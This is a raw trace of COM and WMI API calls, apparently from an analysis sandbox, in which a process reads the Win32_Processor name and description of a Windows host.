[0153.368] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x1 [0153.368] CoTaskMemFree (pv=0x1b33f2d0) [0153.368] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bbda0 | out: ppvObject=0x1b0bbda0*=0x1b2cbf98) returned 0x0 [0153.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bbe30 | out: ppvObject=0x1b0bbe30*=0x0) returned 0x80004002 [0153.368] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bba50 | out: ppvObject=0x1b0bba50*=0x0) returned 0x80004002 [0153.369] IUnknown:QueryInterface (in: This=0x1b2e17e0, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb628 | out: ppvObject=0x1b0bb628*=0x0) returned 0x80004002 [0153.369] WbemLocator:IUnknown:AddRef (This=0x1b2cbf98) returned 0x3 [0153.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb4e8 | out: ppvObject=0x1b0bb4e8*=0x0) returned 0x80004002 [0153.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb470 | out: ppvObject=0x1b0bb470*=0x0) returned 0x80004002 [0153.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb460 | out: ppvObject=0x1b0bb460*=0x1b2cbe78) returned 0x0 [0153.369] WbemLocator:IMarshal:GetUnmarshalClass (in: This=0x1b2cbe78, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb488 | out: pCid=0x1b0bb488*(Data1=0x17, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0153.369] WbemLocator:IUnknown:Release (This=0x1b2cbe78) returned 0x3 [0153.369] CoGetContextToken (in: pToken=0x1b0bb510 | out: pToken=0x1b0bb510) returned 0x0 [0153.369] CoGetContextToken (in: pToken=0x1b0bb990 | out: pToken=0x1b0bb990) returned 0x0 [0153.369] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bba50 | out: ppvObject=0x1b0bba50*=0x1b2cbf60) returned 0x0 [0153.369] WbemLocator:IRpcOptions:Query (in: This=0x1b2cbf60, pPrx=0x1b2cbf98, dwProperty=2, pdwValue=0x1b0bba40 | out: pdwValue=0x1b0bba40) returned 0x80004002 [0153.369] WbemLocator:IUnknown:Release (This=0x1b2cbf60) returned 0x3 [0153.369] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x2 [0153.370] CoGetContextToken (in: pToken=0x1b0bc050 | out: pToken=0x1b0bc050) returned 0x0 [0153.370] CoGetContextToken (in: pToken=0x1b0bbf50 | out: pToken=0x1b0bbf50) returned 0x0 [0153.370] WbemLocator:IUnknown:QueryInterface (in: This=0x1b2cbf98, riid=0x1b0bc0b0*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x1b0bc080 | out: ppvObject=0x1b0bc080*=0x1b2e17e0) returned 0x0 [0153.370] IUnknown:AddRef (This=0x1b2e17e0) returned 0x4 [0153.370] IUnknown:Release (This=0x1b2e17e0) returned 0x3 [0153.370] IUnknown:Release (This=0x1b2e17e0) returned 0x2 [0153.370] IUnknown:Release (This=0x1b316060) returned 0x2 [0153.370] SysStringLen (param_1=0x0) returned 0x0 [0153.370] IEnumWbemClassObject:Reset (This=0x1b2e17e0) returned 0x0 [0153.411] CoTaskMemAlloc (cb=0x8) returned 0x1b32acd0 [0153.411] IEnumWbemClassObject:Next (in: This=0x1b2e17e0, lTimeout=-1, uCount=0x1, apObjects=0x1b32acd0, puReturned=0x279e370 | out: apObjects=0x1b32acd0*=0x1b349310, puReturned=0x279e370*=0x1) returned 0x0 [0156.802] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb940 | out: ppvObject=0x1b0bb940*=0x1b349310) returned 0x0 [0156.802] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bb9d0 | out: ppvObject=0x1b0bb9d0*=0x0) returned 0x80004002 [0156.802] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f00bc10*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bb5f0 | out: ppvObject=0x1b0bb5f0*=0x0) returned 0x80004002 [0156.802] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb1c8 | out: ppvObject=0x1b0bb1c8*=0x0) returned 0x80004002 [0156.803] IUnknown:AddRef (This=0x1b349310) returned 0x3 [0156.803] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0bb088 | out: ppvObject=0x1b0bb088*=0x0) returned 0x80004002 [0156.803] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0bb010 | out: ppvObject=0x1b0bb010*=0x0) returned 0x80004002 [0156.803] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb000 | out: ppvObject=0x1b0bb000*=0x1b349318) returned 0x0 [0156.803] IMarshal:GetUnmarshalClass (in: This=0x1b349318, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0bb028 | out: pCid=0x1b0bb028*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0156.803] IUnknown:Release (This=0x1b349318) returned 0x3 [0156.803] CoGetContextToken (in: pToken=0x1b0bb0b0 | out: pToken=0x1b0bb0b0) returned 0x0 [0156.803] CoGetContextToken (in: pToken=0x1b0bb530 | out: pToken=0x1b0bb530) returned 0x0 [0156.803] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb5f0 | out: ppvObject=0x1b0bb5f0*=0x0) returned 0x80004002 [0156.803] IUnknown:Release (This=0x1b349310) returned 0x2 [0156.803] CoGetContextToken (in: pToken=0x1b0bbbf0 | out: pToken=0x1b0bbbf0) returned 0x0 [0156.803] CoGetContextToken (in: pToken=0x1b0bbaf0 | out: pToken=0x1b0bbaf0) returned 0x0 [0156.803] IUnknown:QueryInterface (in: This=0x1b349310, riid=0x1b0bbc50*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x1b0bbc20 | out: ppvObject=0x1b0bbc20*=0x1b349310) returned 0x0 [0156.803] IUnknown:AddRef (This=0x1b349310) returned 0x4 [0156.803] IUnknown:Release (This=0x1b349310) returned 0x3 [0156.803] IUnknown:Release (This=0x1b349310) returned 0x2 [0156.805] CoTaskMemFree (pv=0x1b32acd0) [0156.805] CoGetContextToken (in: pToken=0x1b0bbfc0 | out: pToken=0x1b0bbfc0) returned 0x0 [0156.805] IUnknown:AddRef (This=0x1b349310) returned 0x3 [0156.807] IWbemClassObject:Get (in: This=0x1b349310, wszName="__GENUS", lFlags=0, pVal=0x1b0bc580*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc6a8*=0, plFlavor=0x1b0bc6a0*=0 | out: pVal=0x1b0bc580*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x1b0bc6a8*=3, plFlavor=0x1b0bc6a0*=64) returned 0x0 [0156.809] IWbemClassObject:Get (in: This=0x1b349310, wszName="__PATH", lFlags=0, pVal=0x1b0bc530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1b0bc660*=0, plFlavor=0x1b0bc658*=0 | out: pVal=0x1b0bc530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"", varVal2=0x0), pType=0x1b0bc660*=8, plFlavor=0x1b0bc658*=64) returned 0x0 [0156.811] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x66 [0156.811] SysStringByteLen (bstr="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x66 [0156.811] CoGetObjectContext (in: riid=0x27128a8*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bc5a8 | out: ppv=0x1b0bc5a8*=0x4b0108) returned 0x0 [0156.811] IComThreadingInfo:GetCurrentApartmentType (in: This=0x4b0108, pAptType=0x1b0bc598 | out: pAptType=0x1b0bc598*=1) returned 0x0 [0156.811] IUnknown:QueryInterface (in: This=0x4b0108, riid=0x2712888*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1b0bc5a0 | out: ppvObject=0x1b0bc5a0*=0x0) returned 0x80004002 [0156.811] IUnknown:Release (This=0x4b0108) returned 0x1 [0156.812] CoGetClassObject (in: rclsid=0x1b2eae48*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7ffa5f032d08*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1b0bb998 | out: ppv=0x1b0bb998*=0x1b33cee0) returned 0x0 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x1b33cee0, riid=0x7ffa5f0556a0*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1b0bba80 | out: ppvObject=0x1b0bba80*=0x0) returned 0x80004002 [0156.813] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1b33cee0, pUnkOuter=0x0, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bba58 | out: ppvObject=0x1b0bba58*=0x4f3280) returned 0x0 [0156.813] WbemDefPath:IUnknown:Release (This=0x1b33cee0) returned 0x0 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb800 | out: ppvObject=0x1b0bb800*=0x4f3280) returned 0x0 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f00bbe0*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1b0bb890 | out: ppvObject=0x1b0bb890*=0x0) returned 0x80004002 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f00bc20*(Data1=0xaf86e2e0, Data2=0xb12d, Data3=0x4c6a, Data4=([0]=0x9c, [1]=0x5a, [2]=0xd7, [3]=0xaa, [4]=0x65, [5]=0x10, [6]=0x1e, [7]=0x90)), ppvObject=0x1b0bb088 | out: ppvObject=0x1b0bb088*=0x0) returned 0x80004002 [0156.813] WbemDefPath:IUnknown:AddRef (This=0x4f3280) returned 0x3 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f00bbf0*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1b0baf48 | out: ppvObject=0x1b0baf48*=0x0) returned 0x80004002 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f00bc00*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1b0baed0 | out: ppvObject=0x1b0baed0*=0x0) returned 0x80004002 [0156.813] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f0049a8*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0baec0 | out: ppvObject=0x1b0baec0*=0x1b33d020) returned 0x0 [0156.813] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1b33d020, riid=0x7ffa5f0003f8*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1b0baee8 | out: pCid=0x1b0baee8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.813] WbemDefPath:IUnknown:Release (This=0x1b33d020) returned 0x3 [0156.813] CoGetContextToken (in: pToken=0x1b0baf70 | out: pToken=0x1b0baf70) returned 0x0 [0156.814] CoGetContextToken (in: pToken=0x1b0bb3f0 | out: pToken=0x1b0bb3f0) returned 0x0 [0156.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x7ffa5f00bc30*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1b0bb4b0 | out: ppvObject=0x1b0bb4b0*=0x0) returned 0x80004002 [0156.814] WbemDefPath:IUnknown:Release (This=0x4f3280) returned 0x2 [0156.814] WbemDefPath:IUnknown:Release (This=0x4f3280) returned 0x1 [0156.814] CoGetContextToken (in: pToken=0x1b0bc1e0 | out: pToken=0x1b0bc1e0) returned 0x0 [0156.814] CoGetContextToken (in: pToken=0x1b0bc0e0 | out: pToken=0x1b0bc0e0) returned 0x0 [0156.814] WbemDefPath:IUnknown:QueryInterface (in: This=0x4f3280, riid=0x1b0bc240*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1b0bc210 | out: ppvObject=0x1b0bc210*=0x4f3280) returned 0x0 [0156.814] WbemDefPath:IUnknown:AddRef (This=0x4f3280) returned 0x3 [0156.814] WbemDefPath:IUnknown:Release (This=0x4f3280) returned 0x2 [0156.814] WbemDefPath:IWbemPath:SetText (This=0x4f3280, uMode=0x4, pszPath="\\\\XC64ZB\\root\\CIMV2:Win32_Processor.DeviceID=\"CPU0\"") returned 0x0 [0156.814] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc5c8 | out: puCount=0x1b0bc5c8*=0x2) returned 0x0 [0156.814] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc5c0*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc5c0*=0xf, pszText=0x0) returned 0x0 [0156.814] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc5c0*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc5c0*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.815] CoGetContextToken (in: pToken=0x1b0bc390 | out: pToken=0x1b0bc390) returned 0x0 [0156.815] WbemLocator:IUnknown:Release (This=0x1b2cbf98) returned 0x1 [0156.815] IUnknown:Release (This=0x1b2e17e0) returned 0x0 [0156.836] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.836] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.836] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.838] IWbemClassObject:Get (in: This=0x1b349310, wszName="Name", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abdac0*=0, plFlavor=0x2abdac4*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x2abdac0*=8, plFlavor=0x2abdac4*=0) returned 0x0 [0156.838] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.838] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.838] IWbemClassObject:Get (in: This=0x1b349310, wszName="Name", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abdac0*=8, plFlavor=0x2abdac4*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x2abdac0*=8, plFlavor=0x2abdac4*=0) returned 0x0 [0156.838] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.838] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.847] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.847] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.847] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.847] IWbemClassObject:Get (in: This=0x1b349310, wszName="Name", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abfc78*=0, plFlavor=0x2abfc7c*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x2abfc78*=8, plFlavor=0x2abfc7c*=0) returned 0x0 [0156.847] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.847] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.847] IWbemClassObject:Get (in: This=0x1b349310, wszName="Name", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abfc78*=8, plFlavor=0x2abfc7c*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz", varVal2=0x0), pType=0x2abfc78*=8, plFlavor=0x2abfc7c*=0) returned 0x0 [0156.847] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.847] SysStringByteLen (bstr="Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz") returned 0x4e [0156.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.850] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.850] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.850] IWbemClassObject:Get (in: This=0x1b349310, wszName="Description", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abfe58*=0, plFlavor=0x2abfe5c*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 106 Stepping 6", varVal2=0x0), pType=0x2abfe58*=8, plFlavor=0x2abfe5c*=0) returned 0x0 [0156.850] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.850] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.850] IWbemClassObject:Get (in: This=0x1b349310, wszName="Description", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abfe58*=8, plFlavor=0x2abfe5c*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 106 Stepping 6", varVal2=0x0), pType=0x2abfe58*=8, plFlavor=0x2abfe5c*=0) returned 0x0 [0156.850] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.850] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.850] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4f2a40, puCount=0x1b0bc678 | out: puCount=0x1b0bc678*=0x2) returned 0x0 [0156.850] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0x0, pszText=0x0 | out: puBuffLength=0x1b0bc670*=0xf, pszText=0x0) returned 0x0 [0156.850] WbemDefPath:IWbemPath:GetText (in: This=0x4f2a40, lFlags=4, puBuffLength=0x1b0bc670*=0xf, pszText="00000000000000" | out: puBuffLength=0x1b0bc670*=0xf, pszText="\\\\.\\root\\CIMV2") returned 0x0 [0156.851] IWbemClassObject:Get (in: This=0x1b349310, wszName="Description", lFlags=0, pVal=0x1b0bc630*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abffa0*=0, plFlavor=0x2abffa4*=0 | out: pVal=0x1b0bc630*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 106 Stepping 6", varVal2=0x0), pType=0x2abffa0*=8, plFlavor=0x2abffa4*=0) returned 0x0 [0156.851] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.851] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.851] IWbemClassObject:Get (in: This=0x1b349310, wszName="Description", lFlags=0, pVal=0x1b0bc680*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x2abffa0*=8, plFlavor=0x2abffa4*=0 | out: pVal=0x1b0bc680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Intel64 Family 6 Model 106 Stepping 6", varVal2=0x0), pType=0x2abffa0*=8, plFlavor=0x2abffa4*=0) returned 0x0 [0156.851] SysStringByteLen (bstr="Intel64 Family 6 Model 106 Stepping 6") returned 0x4a [0156.851] 